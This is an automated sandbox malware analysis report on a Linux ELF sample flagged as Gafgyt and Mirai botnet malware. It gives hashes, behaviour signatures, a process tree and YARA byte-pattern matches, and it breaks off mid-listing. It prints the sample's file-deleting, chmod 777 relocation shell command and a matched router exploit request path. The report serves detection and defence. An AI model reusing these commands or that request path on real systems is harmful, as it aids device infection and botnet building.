Create Interactive Tour

Linux Analysis Report
H085INliC6.elf

Overview

General Information

Sample name:	H085INliC6.elf renamed because original name is a hash value
Original sample name:	5cefad7064406a99f2414bf5436e904c.elf
Analysis ID:	1401859
MD5:	5cefad7064406a99f2414bf5436e904c
SHA1:	d7bec71d51b3c0392d6c124905e1bef983d7dced
SHA256:	02a622afbe32533fefb2aa223550868f04a9d5f09294b83558003b1da5c09a21
Tags:	32elfgafgytintel
Infos:

Detection

Gafgyt, Mirai

Score:	88
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Gafgyt

Yara detected Mirai

Machine Learning detection for sample

Uses known network protocols on non-standard ports

Changes permissions of common UNIX (system) binary directories

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Executes the "chmod" command used to modify permissions

Executes the "mkdir" command used to create folders

Executes the "rm" command used to delete files or directories

Found strings indicative of a multi-platform dropper

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample contains strings that are potentially command strings

Sample has stripped symbol table

Sample tries to kill a process (SIGKILL)

Sample tries to set the executable flag

Sets full permissions to files and/or directories

Yara signature match

Classification

Analysis Advice

Some HTTP requests failed (404). It is likely that the sample will exhibit less behavior.

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1401859
Start date and time:	2024-03-02 12:36:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	H085INliC6.elf renamed because original name is a hash value
Original Sample Name:	5cefad7064406a99f2414bf5436e904c.elf
Detection:	MAL
Classification:	mal88.troj.linELF@0/0@0/0

Warnings

HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/H085INliC6.elf
PID:	6238
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	matrix
Standard Error:

Process Tree

system is lnxubuntu20

H085INliC6.elf (PID: 6238, Parent: 6159, MD5: 5cefad7064406a99f2414bf5436e904c) Arguments: /tmp/H085INliC6.elf

H085INliC6.elf New Fork (PID: 6239, Parent: 6238)

sh (PID: 6239, Parent: 6238, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "rm -rf usr/sbin && mkdir usr; >usr/sbin && mv /tmp/H085INliC6.elf usr/sbin; chmod 777 usr/sbin"

sh New Fork (PID: 6240, Parent: 6239)

rm (PID: 6240, Parent: 6239, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf usr/sbin

sh New Fork (PID: 6241, Parent: 6239)

mkdir (PID: 6241, Parent: 6239, MD5: 088c9d1df5a28ed16c726eca15964cb7) Arguments: mkdir usr

sh New Fork (PID: 6242, Parent: 6239)

mv (PID: 6242, Parent: 6239, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /tmp/H085INliC6.elf usr/sbin

sh New Fork (PID: 6243, Parent: 6239)

chmod (PID: 6243, Parent: 6239, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod 777 usr/sbin

H085INliC6.elf New Fork (PID: 6244, Parent: 6238)

H085INliC6.elf New Fork (PID: 6245, Parent: 6244)

H085INliC6.elf New Fork (PID: 6246, Parent: 6244)

H085INliC6.elf New Fork (PID: 6247, Parent: 6244)

H085INliC6.elf New Fork (PID: 6249, Parent: 6244)

H085INliC6.elf New Fork (PID: 6250, Parent: 6244)

H085INliC6.elf New Fork (PID: 6251, Parent: 6244)

H085INliC6.elf New Fork (PID: 6252, Parent: 6244)

H085INliC6.elf New Fork (PID: 6253, Parent: 6244)

H085INliC6.elf New Fork (PID: 6254, Parent: 6244)

H085INliC6.elf New Fork (PID: 6255, Parent: 6244)

H085INliC6.elf New Fork (PID: 6256, Parent: 6244)

H085INliC6.elf New Fork (PID: 6257, Parent: 6244)

H085INliC6.elf New Fork (PID: 6258, Parent: 6244)

H085INliC6.elf New Fork (PID: 6259, Parent: 6244)

H085INliC6.elf New Fork (PID: 6260, Parent: 6244)

H085INliC6.elf New Fork (PID: 6261, Parent: 6244)

H085INliC6.elf New Fork (PID: 6262, Parent: 6244)

H085INliC6.elf New Fork (PID: 6263, Parent: 6244)

H085INliC6.elf New Fork (PID: 6264, Parent: 6244)

H085INliC6.elf New Fork (PID: 6265, Parent: 6244)

H085INliC6.elf New Fork (PID: 6266, Parent: 6244)

gnome-session-binary New Fork (PID: 6267, Parent: 1477)

sh (PID: 6267, Parent: 1477, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: /bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-housekeeping

gsd-housekeeping (PID: 6267, Parent: 1477, MD5: b55f3394a84976ddb92a2915e5d76914) Arguments: /usr/libexec/gsd-housekeeping

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Bashlite, Gafgyt	Bashlite is a malware family which infects Linux systems in order to launch distributed denial-of-service attacks (DDoS). Originally it was also known under the name Bashdoor, but this term now refers to the exploit method used by the malware. It has been used to launch attacks of up to 400 Gbps.	No Attribution	http://blog.trendmicro.com/trendlabs-security-intelligence/bashlite-affects-devices-running-on-busybox/ https://blog.netlab.360.com/gafgtyt_tor-and-necro-are-on-the-move-again/ https://blog.netlab.360.com/public-cloud-threat-intelligence-202203/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/ https://blog.netlab.360.com/the-gafgyt-variant-vbot-and-its-31-campaigns/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.bashlite

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
H085INliC6.elf	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
H085INliC6.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
H085INliC6.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x17e80:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17e94:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17ea8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17ebc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17ed0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17ee4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17ef8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17f0c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17f20:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17f34:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17f48:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17f5c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17f70:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17f84:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17f98:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17fac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17fc0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17fd4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17fe8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17ffc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18010:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
H085INliC6.elf	Linux_Trojan_Gafgyt_5bf62ce4	unknown	unknown	0x1616b:$a: 89 E5 56 53 31 F6 8D 45 10 83 EC 10 89 45 F4 8B 55 F4 46 8D
H085INliC6.elf	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x4790:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
H085INliC6.elf	Linux_Trojan_Mirai_5f7b67b8	unknown	unknown	0x16df5:$a: 89 38 83 CF FF 89 F8 5A 59 5F C3 57 56 83 EC 04 8B 7C 24 10 8B 4C
H085INliC6.elf	Linux_Trojan_Mirai_aa39fb02	unknown	unknown	0x121d0:$a: 74 DE 8D 40 F1 3C 01 76 D7 80 FA 38 74 D2 80 FA 0A 74 CD 80
H085INliC6.elf	Linux_Trojan_Mirai_88de437f	unknown	unknown	0x12e42:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
H085INliC6.elf	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0x15dd5:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
H085INliC6.elf	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0x1474d:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
H085INliC6.elf	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x12e12:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
H085INliC6.elf	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x19715:$x2: /bin/busybox chmod 777 * /tmp/ 0x19484:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Click to see the 7 entries

Memory Dumps

Source	Rule	Description	Author	Strings
6238.1.0000000008048000.0000000008064000.r-x.sdmp	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
6238.1.0000000008048000.0000000008064000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6238.1.0000000008048000.0000000008064000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x17e80:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17e94:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17ea8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17ebc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17ed0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17ee4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17ef8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17f0c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17f20:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17f34:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17f48:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17f5c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17f70:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17f84:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17f98:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17fac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17fc0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17fd4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17fe8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17ffc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18010:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6238.1.0000000008048000.0000000008064000.r-x.sdmp	Linux_Trojan_Gafgyt_5bf62ce4	unknown	unknown	0x1616b:$a: 89 E5 56 53 31 F6 8D 45 10 83 EC 10 89 45 F4 8B 55 F4 46 8D
6238.1.0000000008048000.0000000008064000.r-x.sdmp	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x4790:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
6238.1.0000000008048000.0000000008064000.r-x.sdmp	Linux_Trojan_Mirai_5f7b67b8	unknown	unknown	0x16df5:$a: 89 38 83 CF FF 89 F8 5A 59 5F C3 57 56 83 EC 04 8B 7C 24 10 8B 4C
6238.1.0000000008048000.0000000008064000.r-x.sdmp	Linux_Trojan_Mirai_aa39fb02	unknown	unknown	0x121d0:$a: 74 DE 8D 40 F1 3C 01 76 D7 80 FA 38 74 D2 80 FA 0A 74 CD 80
6238.1.0000000008048000.0000000008064000.r-x.sdmp	Linux_Trojan_Mirai_88de437f	unknown	unknown	0x12e42:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
6238.1.0000000008048000.0000000008064000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0x15dd5:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6238.1.0000000008048000.0000000008064000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0x1474d:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6238.1.0000000008048000.0000000008064000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x12e12:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6238.1.0000000008048000.0000000008064000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x19715:$x2: /bin/busybox chmod 777 * /tmp/ 0x19484:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
6266.1.0000000008048000.0000000008064000.r-x.sdmp	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
6266.1.0000000008048000.0000000008064000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6266.1.0000000008048000.0000000008064000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x17e80:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17e94:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17ea8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17ebc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17ed0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17ee4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17ef8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17f0c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17f20:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17f34:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17f48:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17f5c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17f70:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17f84:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17f98:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17fac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17fc0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17fd4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17fe8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17ffc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x18010:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6266.1.0000000008048000.0000000008064000.r-x.sdmp	Linux_Trojan_Gafgyt_5bf62ce4	unknown	unknown	0x1616b:$a: 89 E5 56 53 31 F6 8D 45 10 83 EC 10 89 45 F4 8B 55 F4 46 8D
6266.1.0000000008048000.0000000008064000.r-x.sdmp	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x4790:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
6266.1.0000000008048000.0000000008064000.r-x.sdmp	Linux_Trojan_Mirai_5f7b67b8	unknown	unknown	0x16df5:$a: 89 38 83 CF FF 89 F8 5A 59 5F C3 57 56 83 EC 04 8B 7C 24 10 8B 4C
6266.1.0000000008048000.0000000008064000.r-x.sdmp	Linux_Trojan_Mirai_aa39fb02	unknown	unknown	0x121d0:$a: 74 DE 8D 40 F1 3C 01 76 D7 80 FA 38 74 D2 80 FA 0A 74 CD 80
6266.1.0000000008048000.0000000008064000.r-x.sdmp	Linux_Trojan_Mirai_88de437f	unknown	unknown	0x12e42:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
6266.1.0000000008048000.0000000008064000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0x15dd5:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6266.1.0000000008048000.0000000008064000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0x1474d:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6266.1.0000000008048000.0000000008064000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x12e12:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6266.1.0000000008048000.0000000008064000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0x19715:$x2: /bin/busybox chmod 777 * /tmp/ 0x19484:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Process Memory Space: H085INliC6.elf PID: 6238	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x592:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5a6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5ba:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5ce:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5e2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x5f6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x60a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x61e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x632:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x646:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x65a:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x66e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x682:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x696:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6aa:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6be:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6d2:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6e6:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6fa:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x70e:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x722:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: H085INliC6.elf PID: 6266	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0xba0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xbb4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xbc8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xbdc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xbf0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xc04:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xc18:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xc2c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xc40:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xc54:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xc68:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xc7c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xc90:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0xca4:$a: 2F 78 33 38 2F 78 46 